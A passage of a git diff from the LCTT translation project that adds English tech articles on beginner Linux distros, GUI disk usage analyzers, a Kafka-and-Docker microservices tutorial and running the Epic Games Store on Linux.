to use the command line for a new user + +#### 8. Pop OS + +Pop OS is a Linux distribution created by Americal computer manufacturer System76 for its hardware line-up. Although it is primarily designed for its hardware, it is free to download and use. + +The primary reason I think it is perfect for a new user is that it’s designed to be a powerful distro which works well with modern graphics card line-ups and AI-ML workloads. In addition, Pop OS also features a dedicated installer for NVIDIA cards so that you do not require to spend time installing drivers. + +Besides that, it’s customised “[COSMIC Desktop][14]” brings built-in tiling features, well-designed system tray controls and an application repository called “Pop Shop”. + +The Pop Shop is an attractive app which gives you easy access to thousands of apps classified by your use case – Study, Development, Gaming, etc. + +![Pop OS][15] + +Finally, due to its popularity, many leading computer manufacturers such as HP and Lenovo launched several Laptop models with Pop OS as the default operating system instead of Windows. + +Hence, Pop OS is one of the best contenders in this list as a beginner Linux distro. + +**Pros: What makes it a great choice?** + +* Well-designed COSMIC desktop with features +* Built-in support for NVIDIA Cards +* Available to buy Laptops with Pop OS pre-installed + +**Cons: But these are some of the constraints** + +* A little heavy on system resources +* Features non-free software +* It requires some additional tweaks to make it more customisable + +#### 9. elementary OS + +The elementaryOS is famous for its looks and design. It’s the best distro for beginners who wants a mix of aesthetics and stability in Linux. This distro is heavily inspired by macOS and its design principle. IF you are a macOS user and want to jump into the Linux world, this is a perfect distro. + +At its core, it is powered by the Ubuntu long-term support editions, which give you the necessary security and bug fixes for more than 5 years with extended support. + +![elementary OS 6 ODIN Desktop][16] + +One advantage of elementary OS for a beginner is its own “App Center”, which is loaded with curated applications for your daily needs. These apps are designed to work well and give you an immersive experience within the desktop itself. + +Finally, the Pantheon desktop is perhaps the best-designed desktop environment among all the options listed here. + +**Pros: What makes it a great choice?** + +* Beautiful and stunning Pantheon desktop +* Perfect for those looking for a blend of beauty and power +* A vast collection of curated apps from App Center +* Out-of-the-box Flatpak support +* Perfect for touch-based devices + +**Cons: But these are some of the constraints** + +* Heavy to system resources +* Require modern hardware with a larger RAM capacity +* Features and updates arrive late, even after Ubuntu releases + +#### 10. Deepin + +The last Linux distro for beginners in this list is the famous Deepin OS. It features the stunning Deepin desktop environment popular among Windows and macOS users. + +The Deepin desktop is known for its out-of-the-box aesthetics, customisation options and design. At the core, Deepin is powered by a Debian-stable branch, which means the support lifecycle is available for more than five years. + +![Deepin 20 Desktop][17] + +Moreover, Deepin brings its own “App Store”, which features selected applications and is easier to download/install/uninstall software for beginners. + +Deepin also supports advanced features such as face unlock, fingerprint login, etc. + +**Pros: What makes it a great choice?** + +* Beautiful looking Deepin Desktop Environment +* Stability is achieved by Debian stable branch +* Multi-year of security and bug fix support +* Support for fingerprint log, face unlock + +**Cons: But these are some of the constraints** + +* Contains non-free software components and packages +* Developed by a Chinese corporation + +### Wrapping Up + +I hope this list of Linux distro(s) for beginners helps you choose the best one for your needs. The above list comprises a blend of different desktop environments suitable for novice users. I also gave some hints about the advantages & disadvantages of each one of the beginner’s distros (s). Although, the pros and cons are subjective and depend on individual taste. But I tried to keep a balance while featuring those. + +Also, I have not included any distro based on Arch Linux consciously because it is a little difficult for new users. There are many user-friendly Arch-based distros, such as Manjaro Linux, but I firmly believe Arch should not be a starting point for new users in their Linux journey. + +Finally, let me know which one is the best or should be featured on this list in the comment box. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/linux-distro-beginners/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/07/This-is-how-you-waste-your-time-and-watch-this-for-hours-per-month.jpg +[2]: https://www.debugpoint.com/linux-mint +[3]: https://www.debugpoint.com/category/desktop-environment/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/05/Linux-Mint-Cinnamon-Edition.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/05/Zorin-OS.jpg +[6]: https://www.debugpoint.com/tag/xfce +[7]: https://www.debugpoint.com/wp-content/uploads/2022/06/Linux-Lite-6-Xfce-Desktop.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/05/Ubuntu-LTS-with-GNOME.jpg +[9]: https://www.debugpoint.com/tag/mx-linux +[10]: https://www.debugpoint.com/wp-content/uploads/2021/10/MX-Linux-21-Desktop-1024x576.jpeg +[11]: https://lubuntu.me/ +[12]: https://www.debugpoint.com/wp-content/uploads/2022/04/Lubuntu-22.04-LTS-Desktop-isnt-it-nice-and-clean.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2022/05/Fedora-KDE-Edition.jpg +[14]: https://www.debugpoint.com/tag/cosmic-desktop/ +[15]: https://www.debugpoint.com/wp-content/uploads/2022/05/Pop-OS.jpg +[16]: https://www.debugpoint.com/wp-content/uploads/2021/08/elementary-OS-6-ODIN-Desktop.jpeg +[17]: https://www.debugpoint.com/wp-content/uploads/2020/09/Deepin-20-Desktop.jpg diff --git a/sources/tech/20220715 3 open source GUI disk usage analyzers for Linux.md b/sources/tech/20220715 3 open source GUI disk usage analyzers for Linux.md new file mode 100644 index 0000000000..1913366f3b --- /dev/null +++ b/sources/tech/20220715 3 open source GUI disk usage analyzers for Linux.md @@ -0,0 +1,90 @@ +[#]: subject: "3 open source GUI disk usage analyzers for Linux" +[#]: via: "https://opensource.com/article/22/7/gui-disk-usage-analyzers-linux" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +3 open source GUI disk usage analyzers for Linux +====== +For people who prefer visual representations, these GUI-based tools help you understand how your storage capacity is used. + +![metrics and data shown on a computer screen][1] + +Image by: Opensource.com + +Several great options for checking disk usage on your Linux system have a graphical interface. Sometimes the visual representation of disk utilization is easier or newer users may not be as familiar with the various Linux commands that display storage information. I am a person who comprehends visual representations more easily than the printout on the command line. + +Here are several excellent GUI-based tools to help you understand how your storage capacity is used. + +### GNOME Disk Usage Analyzer + +My Pop!_OS system relies on the [GNOME Disk Usage Analyzer][2], and they call it "Disk Usage Analyzer." + +The GNOME Disk Usage Analyzer is also known as [Baobab][3]. It scans folders and devices, then reports the disk space used by each item. The graphical representation below is a report on my home directory. I can drill down into each directory by clicking on that item to learn more about the details of the files it contains. + +![GNOME Disk Usage Analyzer on my home directory][4] + +I clicked on my `Downloads` directory to display how much space files in that directory are consuming on my system. + +![GNOME Disk Usage Analyzer on my Downloads directory][5] + +GNOME Disk Usage Analyzer is licensed with GPL 2.0. It is under continuous development; the latest release was in September 2021. + +### Filelight + +There is another graphical option for the KDE desktop. It is called [Filelight][6], and it provides an interesting graphic of your Linux system. Initially released in 2004, the project has been under continual development. Its latest release was in December 2021, and the source code is available on [GitHub][7] under the [GNU Free Document License][8]. + +Here is a snapshot of my Linux laptop using Filelight. + +![Filelight disk usage][9] + +### QDirStat + +A third graphical option to consider is [QDirStat][10]. It is licensed with GPL v. 2.0 and can be installed on all Linux systems. + +According to its developers, "QDirStat is a graphical application to show where your disk space has gone and to help you to clean it up." QDirStat is available in [packages][11] for Debian, Ubuntu, Fedora, Arch, Manjaro, and SUSE. + +![QDirState disk usage][12] + +I easily installed QDirStat from the command line. It has an intuitive interface and provides a percentage of utilization of your file system. + +### The terminal + +Of course, if you don't enjoy graphical applications or need text output for a script, there are commands that analyze disk usage, too. The [du][13] and [ncdu][14] commands are easy to use and provide a different view (but the same information) of your file system. + +### Wrap up + +Today's storage devices are immense, but it is still necessary to be aware of how that capacity is used on your system. Whether you prefer command-line utilities or GUI tools, there are plenty of options available for Linux. Don't let storage space issues get you down—start using these tools today! + +Image by: (Don Watkins, CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/gui-disk-usage-analyzers-linux + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/metrics_data_dashboard_system_computer_analytics.png +[2]: https://wiki.gnome.org/Apps/DiskUsageAnalyzer +[3]: https://gitlab.gnome.org/GNOME/baobab +[4]: https://opensource.com/sites/default/files/2022-07/GNOME_dua.png +[5]: https://opensource.com/sites/default/files/2022-07/2GDUA-downloads.png +[6]: https://en.wikipedia.org/wiki/Filelight +[7]: https://github.com/KDE/filelight +[8]: https://github.com/KDE/filelight/commit/8f68599cd26515dfaaeef53a5809bae19c502863 +[9]: https://opensource.com/sites/default/files/2022-07/filelight.png +[10]: https://github.com/shundhammer/qdirstat +[11]: https://github.com/shundhammer/qdirstat/blob/master/doc/Pkg-View.md +[12]: https://opensource.com/sites/default/files/2022-07/qdirstat.png +[13]: https://opensource.com/article/21/7/check-disk-space-linux-du +[14]: https://opensource.com/article/21/8/ncdu-check-free-disk-space-linux diff --git a/sources/tech/20220715 Microservices Collaboration with Containerised Kafka.md b/sources/tech/20220715 Microservices Collaboration with Containerised Kafka.md new file mode 100644 index 0000000000..3c9991e28a --- /dev/null +++ b/sources/tech/20220715 Microservices Collaboration with Containerised Kafka.md @@ -0,0 +1,369 @@ +[#]: subject: "Microservices Collaboration with Containerised Kafka" +[#]: via: "https://www.opensourceforu.com/2022/07/microservices-collaboration-with-containerised-kafka/" +[#]: author: "Krishna Mohan Koyya https://www.opensourceforu.com/author/krishna-mohan-koyya/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Microservices Collaboration with Containerised Kafka +====== + +![Microservices-Collaboration-with-Containerised-Kafka-Featured-image][1] + +*Independently deployed microservices need a mechanism to collaborate among themselves asynchronously. Apache Kafka has emerged as the first choice for establishing such an environment. In this part 8 of the series of articles titled ‘The Design Odyssey’, the AddService of the user management system is connected to Kafka on the Docker network.* + +Apache Kafka plays different roles in different use cases. It can act as a message store, a messaging queue, or a stream processing engine. In the enterprise microservices environment, it has been very popular as a messaging queue where the services communicate with each other by producing and consuming messages asynchronously. Apache Kafka makes sure that the messages are delivered from the producers to the consumers with various guarantees. (Refer to the article published in the September 2021 issue of *Open Source For You* for an introduction to Apache Kafka by the author.) + +#### The path covered so far + +Before introducing Kafka into the architecture of the user management system (UMS), let’s look at the big picture once. + +We initially designed the UMS as a monolith system by applying appropriate object-oriented design patterns like Factory, Adapter, Proxy, Observer, etc. Later, we refactored the design by decomposing the monolith into a set of microservices, namely, *AddService*, *SearchService*, *FindService*, and *JournalService* by applying the principles of Domain-Driven Design. We chose to develop REST API for the *AddService* on the Spring Boot platform and integrated it with a JPA database. And in the previous part, the *AddService* was containerised and deployed on the Docker platform. + +We are yet to integrate the *AddService* with the *JournalService*. + +Recollect that the job of the *JournalService* is to log all the activities on UMS into a central location without being a show-stopper. In other words, the *JournalService* must listen to the events published by the*AddService*, *FindService* as well as *SearchService*. Obviously, it requires an implementation of the observer pattern. Apache Kafka is one such implementation when it is used as a messaging infrastructure. + +In our architecture, *JournalService* acts as a consumer whereas *AddService* acts as a producer, along with the *FindService* and *SearchService.* + +#### AddService as Kafka producer + +In order to produce messages to the Kafka broker, the *AddService* requires the Kafka library. Spring Boot comes with a ready-to-use library for Kafka. Add the following snippet as one of the dependencies in the *pom.xml* of the *AddService*. + +``` + + org.springframework.kafka + spring-kafka + +``` + +For ease of use, add the following declaration in the *build* section of the *pom.xml*. It names the resulting package as *ums-add-service*.jar at the end of the build process. + +``` +ums-add-service +``` + +Now, let’s move on to the actual code. Spring Boot makes Kafka integration much simpler by offering a template named KafkaTemplate. Let us inject the template into the *UserController* of the *AddService.* + +``` +@Autowired +private KafkaTemplate template; +``` + +This statement says that we intend to produce a Kafka message with a String as the key and *UserRecord* as the value. + +Then, the following code does the job of actually publishing the message to Kafka broker: + +``` +template.send(“com.glarimy.ums.user.add”, record); +``` + +The first argument is the topic name and the second argument is the message value. We choose com*.glarimy.ums.uesr*.add as the topic name. This topic acts as the virtual channel between the producer (AddService) and the consumer *(JournalService)* to notify the event of user additions. + +Here is the complete code: + +``` +package com.glarimy.ums.app; +import java.util.Set; +import javax.validation.ConstraintViolation; +import javax.validation.Validator; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.kafka.core.KafkaTemplate; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RestController; +import com.glarimy.ums.domain.Name; +import com.glarimy.ums.domain.PhoneNumber; +import com.glarimy.ums.domain.User; +import com.glarimy.ums.domain.UserRepository; +@RestController +public class UserController { + Logger logger = LoggerFactory.getLogger(UserController.class); + @Autowired + private UserRepository repo; + @Autowired + private Validator validator; + @Autowired + private KafkaTemplate template; + @PostMapping(“/user”) + public ResponseEntity add(@RequestBody NewUser newUser) { + logger.debug(“Received new user”); + Name name = new Name(newUser.name); + PhoneNumber phoneNumber = new PhoneNumber(newUser.phone); + logger.debug(“Building User domain object”); + User user = new User(name, phoneNumber); + logger.debug(“Validating User domain object”); + Set> violations = validator.validate(user); + ResponseEntity response; + if (!violations.isEmpty()) { + violations.forEach(v -> logger.debug(v.getMessage())); + response = new ResponseEntity<>(HttpStatus.BAD_REQUEST); + logger.debug(“Response: “ + response); + } else { + logger.debug(“Saving the User domain object”); + repo.save(user); + logger.debug(“Building the response”); + UserRecord record = new UserRecord(user.getName().getValue(), user.getPhone().getValue(), user.getSince()); + template.send(“com.glarimy.ums.user.add”, record); + response = new ResponseEntity<>(record, HttpStatus.OK); + logger.debug(“Response: “ + response); + } + logger.debug(“returning the response”); + return response; + } +} +``` + +Note that the responsibility of sending event notifications is coded within the controller and not in the domain object, since it is not the primary responsibility of the *AddService.* + +#### Serialisation + +The*UserRecord* is a DTO that we developed in the past. In the above code, we sent the same object as the value in the Kafka message. However, Kafka does not really transport Java objects. It only accepts byte array to remain platform-neutral. We must have a serialiser to convert the *UserRecord* into a byte array so that Kafka transports it. + +Here is the serialiser, which is self-explanatory. + +``` +package com.glarimy.ums.app; +import org.apache.kafka.common.serialization.Serializer; +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +public class UserSerializer implements Serializer { + @Override + public byte[] serialize(String topic, UserRecord user) { + ObjectMapper mapper = new ObjectMapper(); + try { + return mapper.writeValueAsBytes(user); + } catch (JsonProcessingException e) { + e.printStackTrace(); + return null; + } + } +} +``` + +#### Configuration + +Though we have finished the coding part, it is not sufficient. The template still requires the location of the Kafka cluster and the serialisers to be used for converting the keys and values to byte arrays. The following additions to the *application.properties file* do that job for us: + +``` +spring.kafka.bootstrap-servers=kafka:9092 +spring.kafka.producer.key-serializer=org.apache.kafka.common.serialization.StringSerializer +spring.kafka.producer.value-serializer=com.glarimy.ums.app.UserSerializer +``` + +Note that the above configuration claims that the Kafka broker is listening on port 9092 and is running on the machine with the DNS name *kafka*. So, it is our responsibility to set up Kafka to run accordingly. + +#### Building the Docker image + +Once the above code and configuration are ready, we can build the service and create the Docker image. The*Dockerfile* that was developed in the previous part is still valid. + +``` +FROM maven:3.5-jdk-8 AS build +COPY src /usr/glarimy/src +COPY pom.xml /usr/glarimy +RUN mvn -f /usr/glarimy/pom.xml clean package -DskipTests +EXPOSE 8080 +ENTRYPOINT [“java”,”-jar”,”/usr/glarimy/target/ums-add-service.jar”] +``` + +And the following command builds the Docker image, as in the past: + +``` +sudo docker build -t glarimy/ums-add-service . +``` + +#### Deploying Kafka cluster and services + +Kafka runs as a cluster of one to any number of brokers along with Zookeeper. In other words, to set up the Kafka cluster, we need to run the Zookeeper server and also at least one Kafka broker. Since we want everything to run on the Docker environment, we need the Docker images of Zookeeper and Kafka. The most popular choices are bitnami/zookeeper:3.8 and bitnami/kafka:3.1. + +Since both the images are required to always run together, we can use the *docker-compose* tool to simplify the deployment. Using *docker-compose*, we can deploy multiple services in one go on a dedicated network so that they can access each other using the published names and port numbers. We can also manage the dependencies among the services as well. + +The *docker-compose* tool expects a manifest file named *docker-compose.yml* in which the required list of services, their dependencies, etc, are declared. + +Let’s first declare the zookeeper service: + +``` +zookeeper: + image: docker.io/bitnami/zookeeper:3.8 + ports: + - “2181:2181” + volumes: + - “zookeeper_data:/glarimy” + environment: + - ALLOW_ANONYMOUS_LOGIN=yes + networks: + - glarimy +``` + +This declaration tells the *docker-compose* tool to run a container named *zookeeper* from the specified image on the network named *glarimy.* Also, it tells that the port 2181 of *zookeeper* is to be mapped to the same port number on the network. It mounts a volume and sets up some configuration for the container via *environment*. + +For the above declaration to work, we need to set up the network named *glarimy*. The following does that job. + +``` +networks: + glarimy: + driver: bridge +``` + +With this, any container on the same *glarimy* network can reach the Zookeeper service using the DNS name *zookeeper.* Consequently, if we run the Kafka on the same network, it can connect to the Zookeeper without any issue. + +Just like we declared the Zookeeper, we can also declare the Kafka: + +``` +kafka: + image: docker.io/bitnami/kafka:3.1 + ports: + - “9092:9092” + volumes: + - “kafka_data:/glarimy” + environment: + - KAFKA_CFG_ZOOKEEPER_CONNECT=zookeeper:2181 + - ALLOW_PLAINTEXT_LISTENER=yes + networks: + - glarimy + depends_on: + - zookeeper +``` + +The only additional field in the above declaration that is of interest is the *depends-on*. It tells the *docker-compose* tool to start the kafka container only after the *zookeeper* container is started. + +Why should we limit ourselves only to the Zookeeper and Kafka? We can also deploy the *AddService* along with them in the same *docker-compose* since they have intimacy. + +``` +ums: + image: glarimy/ums-add-service + networks: + - glarimy + depends_on: + - zookeeper +``` + +The above is self-explanatory. Following is the full manifest: + +``` +version: “2” +networks: + glarimy: + driver: bridge +services: + zookeeper: + image: docker.io/bitnami/zookeeper:3.8 + ports: + - “2181:2181” + volumes: + - “zookeeper_data:/glarimy” + environment: + - ALLOW_ANONYMOUS_LOGIN=yes + networks: + - glarimy + kafka: + image: docker.io/bitnami/kafka:3.1 + ports: + - “9092:9092” + volumes: + - “kafka_data:/glarimy” + environment: + - KAFKA_CFG_ZOOKEEPER_CONNECT=zookeeper:2181 + - ALLOW_PLAINTEXT_LISTENER=yes + networks: + - glarimy + depends_on: + - zookeeper +volumes: + zookeeper_data: + driver: local + kafka_data: + driver: local +``` + +Once the Docker images are available, either locally or on the Docker Hub, the following command from the location of *docker-compose.yml* simply deploys them on the Docker environment: + +``` +sudo docker-compose up -d +``` + +Use the following command to see if all the three containers are up and running: + +``` +sudo docker ps --format “table {{.ID}}\t{{.Names}}\t{{.Ports}}\t{{.Status}}” +``` + +It gives an output similar to Figure 1. + +![Figure 1: Running containers][2] + +Now, go to the container where the *AddService* is running: + +``` +sudo docker exec -it f4aa72bcec4a bash +``` + +Once the *bash* terminal of the container is available, run a *CURL* command to post a new user to the *AddService*. + +``` +curl -H “Content-Type: application/json” -d ‘{“name”:”Krishna Mohan”, “phone”:9731423166}’ http://localhost:8080/user +``` + +It gives an output like Figure 2. + +![Figure 2: Posting a new user to the AddService][3] + +You can exit the bash terminal and verify the logs of the container using the following command: + +``` +sudo docker logs f4aa72bcec4a +``` + +You can see that the *AddService* is processing the POST requests by saving the user data and also by sending the notifications to Kafka. + +As the last activity, let us verify that Kafka is indeed receiving the notifications from the *AddService*. First, identify the container ID of the Kafka and log into the container: + +``` +sudo docker exec -it abac64c0c8a4 bash +``` + +Run the following command to start a consumer that listens to the topic on which the *AddService* was writing messages. + +``` +/opt/bitnami/kafka/bin//kafka-console-consumer.sh --bootstrap-server localhost:9092 --topic com.glarimy.ums.user.add --from-beginning +``` + +An output similar to Figure 3 can be observed. + +![Figure 3: Starting a consumer][4] + +Once the job is done, the following command can bring down all the services at once: + +``` +sudo docker-compose down +``` + +#### What did we do? + +We just accomplished two objectives. We were able to create a network and orchestrate multiple Docker containers. We were also able to connect *AddService* and Kafka cluster on Docker. The beauty of this architecture is that the services are not actually aware of each other. It is only through the configuration that we are connecting them. And the producers and consumers of Kafka do not block each other. + +In the next several parts, we will develop and deploy the *FindService* and *SearchService* on the Python and Node environments, orchestrate containers on different machines using Kubernetes, scale them, and also develop the *JournalService* as a Kafka consumer. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/07/microservices-collaboration-with-containerised-kafka/ + +作者:[Krishna Mohan Koyya][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/krishna-mohan-koyya/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Microservices-Collaboration-with-Containerised-Kafka-Featured-image.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-1-Running-containers.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-2-Posting-a-new-user-to-the-AddService.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-3-Starting-a-consumer.jpg diff --git a/sources/tech/20220715 The Ultimate Guide to Epic Games Store on Linux.md b/sources/tech/20220715 The Ultimate Guide to Epic Games Store on Linux.md new file mode 100644 index 0000000000..0783c633a0 --- /dev/null +++ b/sources/tech/20220715 The Ultimate Guide to Epic Games Store on Linux.md @@ -0,0 +1,218 @@ +[#]: subject: "The Ultimate Guide to Epic Games Store on Linux" +[#]: via: "https://itsfoss.com/epic-games-linux/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +The Ultimate Guide to Epic Games Store on Linux +====== +Epic Games Store is gaining more attention than ever, with some exclusive releases, and attractive discounts for PC gamers. + +While I still prefer Steam to Epic Games Store (or EGS) because the client is superior, and it officially works on Linux without any workarounds. + +Unfortunately, games like **Kena: Bridge of Spirits** and **Immortals Fenyx Rising** cannot be found on Steam. Sure, some are timed exclusives like **Hitman 3**, nevertheless, Epic Games Store has a good collection of games to play. + +So, how do we get started using the Epic Games Store on Linux without official support? + +### 3 Ways to Run Epic Games Store on Linux + +Wine is a popular tool that lets you run Windows apps on Linux. You can use it to launch Epic Games Store, but we will not be focusing on it. + +Instead, I will be highlighting options that utilize Wine and Steam’s Proton (or a compatibility layer) without making a lot of effort. + +You should have no problem following the methods that I tried, considering they are focused on their ease of use. + +I tried games like CONTROL, and a few indie titles that do not require anti-cheat services, and seemed to work pretty well. + +The methods include: + +* Using Heroic Games Launcher +* Using Lutris +* Using Bottles + +### 1. Use Epic Games Store with Heroic Games Launcher + +Heroic Games Launcher is one of the best ways to run Epic Games Store on Linux. You can also access the [GOG][1] library using it. + +It lets you launch Epic Games Store using a free and open-source replacement for the Epic Games Launcher, i.e., [Legendary][2]. + +While Legendary is originally a command-line application, the Heroic Games Launcher provides a GUI to make it easy. + +You get a native-like experience with this method, considering you get a lot of features using the GUI. Some of the features include: + +* Uninstall/Install Games. +* Repair installed games. +* Update games. +* Move games to different folders. +* Launch games using default wine or custom wine configuration. +* Cloud sync save with Epic. +* Import installed game and Sync installed games with existing Epic Games installation. + +#### Install Heroic Games Launcher on Linux + +Heroic Games Launcher is available as a Flatpak, AppImage, .deb package, and a .rpm package. So, it can be installed on any Linux distribution, including Ubuntu, Arch, and Fedora. + +You also get a third-party apt repository and can find it listed in AUR. + +I recommend using the Flatpak package, which you can install it using the software center (or package manager) if you already have Flatpak enabled or enter the following command to proceed: + +``` +flatpak install flathub com.heroicgameslauncher.hgl +``` + +Refer to our [Flatpak guide][3], [AppImage guide][4], [deb installation guide][5], or the [rpm package guide][6] if you are new to Linux and need help to get it installed. + +#### Steps to Launch Epic Games Store on Heroic Games Launcher + +1. Once installed, you just need to launch the program and head to the **Stores** menu, and log in to your Epic Store account as shown in the image. + +![epic game store heroic][7] + +The log in will be web-based, so you will notice the usual login options for the Epic Games Store account. + +Alternatively, you can click on “**Manage Accounts**” at the bottom left section of the screen and check if you have it signed in. + +![heroic manage account][8] + +2. When you are logged in, you can click on “**Library**” to access all your games. It can take a while to refresh. Here’s what it should look like: + +3. In the library, you just have to click on the game you want to install, you will find the download/install size listed. In some cases, you can find the details only after you click on the “**Install**” button. + +![heroic games install epic game][9] + +Of course, Fall Guys is just an example of how it looks. It doesn’t work because it needs aan nti-cheat service. + +4. To proceed, it will prompt you to select the installation path, wineprefix, and wine version you would like to make it work with. + +![heroic game install][10] + +If you are uncertain if the game works properly on Linux, you can head to the “**Tools**” option in the game listing screen, and click on “**Check compatibility**“. This will pull up any records of it from ProtonDB, which indicates if it works well on Linux. + +5. Once you are certain, proceed with installing it, and launch the game when it is done. + +As you can notice, it will use the recommended/default Wine version to run the game. But, if you want something specific, you can head to the “**Wine Manager**” option, and download a specific version that works with the game as per your requirements. + +![heroic launcher epic game store][11] + +### 2. Use Epic Games Store with Lutris + +![lutris epic game store login][12] + +Lutris is yet another client that helps you run Epic Games Store, GOG games, and more while utilizing Wine’s compatibility layer. + +Unlike Heroic Launcher, you may not get a native-like Epic Games Store experience, but you can access Epic Launcher as you would on a Windows machine. + +You can use the same to download/install games, and it just works. You do not get any extra fancy features here. + +#### Install Lutris on Linux + +For Ubuntu-based distros, you can simply add the PPA and get it installed. And, for Pop!_OS, you can find it listed in its software center. + +The commands to add the PPA are: + +``` +sudo add-apt-repository ppa:lutris-team/lutris +``` + +For other Linux distributions, you can try the beta Flatpak repository to get it installed as per the [official instructions][13]. + +#### Steps to Use Epic Games Store on Lutris + +1. Launch Lutris, and then look for the Epic Game Store as a source on the left side of the window. + +![lutris epic game][14] + +Click on it to proceed with the login. + +If it does not show up in your case, you can head to the preferences and enable Epic Games Store from the sources available: + +![lutris preference epic game enable][15] + +You can also enable/disable other sources here. + +2. Once you log in to the Epic account, you can find all your games listed. However, to proceed to install any of the games, it will prompt you to get the Epic Games Store wine package. + +![install egs wine lutris][16] + +You just need to follow the on-screen instructions to install everything it requires. + +![install lutris wine dependencies][17] + +3. When the installation is complete, it will automatically configure the wine configuration for you, and give you the option to launch the Epic Games Store. + +![lutris game epic games][18] + +All you have to do is look for a compatible game in your library, or purchase it, and install it. I tried **CONTROL**, and it works flawlessly. + +### 3. Use Bottles to Access Epic Games Store + +Bottles is yet another impressive program that lets you run Windows applications on Linux. + +It is available as a [Flatpak][19] on [Flathub][20], which is the recommended method for installation. + +You just need to create a Bottle for your use case, for instance, gaming in this case. + +![A Video from YouTube][21] + +You can refer to the official video above for the steps to create a Bottle. It should be self-explanatory, considering the application is very user-friendly. + +Once you create the Bottle, you will have to find the installer for Epic Games Store and download it from within it. Similarly, you can install other game clients as well. + +![bottles epic games installer][22] + +Here’s what it should look like after you’re done. Just launch the Epic Games Store, and you can install/play games effortlessly! + +![bottles gaming dark][23] + +### Wrapping Up + +I tested all these methods using Manjaro and Ubuntu 22.04 LTS, and it worked fine for a couple of games. + +Of course, you need to be sure that the game you want runs well with the compatibility layers. So, make sure to head to ProtonDB before you purchase or download a game. + +As with the current state, even if we do not get native support for Epic Games Store, it should not be an inconvenience. + +Options like Heroic, Lutris, and Bottles have made running Windows-exclusive applications on Linux effortless. You just have to try one of them to get started. + +[Gaming on Linux][24] has certainly come a long way. Don’t you think? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/epic-games-linux/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://www.gog.com/ +[2]: https://github.com/derrod/legendary +[3]: https://itsfoss.com/flatpak-guide/ +[4]: https://itsfoss.com/use-appimage-linux/ +[5]: https://itsfoss.com/install-deb-files-ubuntu/ +[6]: https://itsfoss.com/install-rpm-files-fedora/ +[7]: https://itsfoss.com/wp-content/uploads/2022/07/epic-game-store-heroic.png +[8]: https://itsfoss.com/wp-content/uploads/2022/07/heroic-manage-account.jpg +[9]: https://itsfoss.com/wp-content/uploads/2022/07/heroic-games-install-epic-game.jpg +[10]: https://itsfoss.com/wp-content/uploads/2022/07/heroic-game-install.png +[11]: https://itsfoss.com/wp-content/uploads/2022/07/heroic-launcher-epic-game-store.png +[12]: https://itsfoss.com/wp-content/uploads/2022/07/lutris-epic-game-store-login.png +[13]: https://lutris.net/downloads +[14]: https://itsfoss.com/wp-content/uploads/2022/07/lutris-epic-game-800x520.png +[15]: https://itsfoss.com/wp-content/uploads/2022/07/lutris-preference-epic-game-enable.png +[16]: https://itsfoss.com/wp-content/uploads/2022/07/install-egs-wine-lutris.png +[17]: https://itsfoss.com/wp-content/uploads/2022/07/install-lutris-wine-dependencies.png +[18]: https://itsfoss.com/wp-content/uploads/2022/07/lutris-game-epic-games.jpg +[19]: https://itsfoss.com/what-is-flatpak/ +[20]: https://flathub.org/apps/details/com.usebottles.bottles +[21]: https://youtu.be/0BQjFlEdSVA +[22]: https://itsfoss.com/wp-content/uploads/2022/07/bottles-epic-games-installer.png +[23]: https://itsfoss.com/wp-content/uploads/2022/07/bottles-gaming-dark.png +[24]: https://itsfoss.com/linux-gaming-guide/ diff --git a/sources/tech/20220716 13 Ways to Tweak Nautilus File Manager in Linux to Get More Out of it.md b/sources/tech/20220716 13 Ways to Tweak Nautilus File Manager in Linux to Get More Out of it.md new file mode 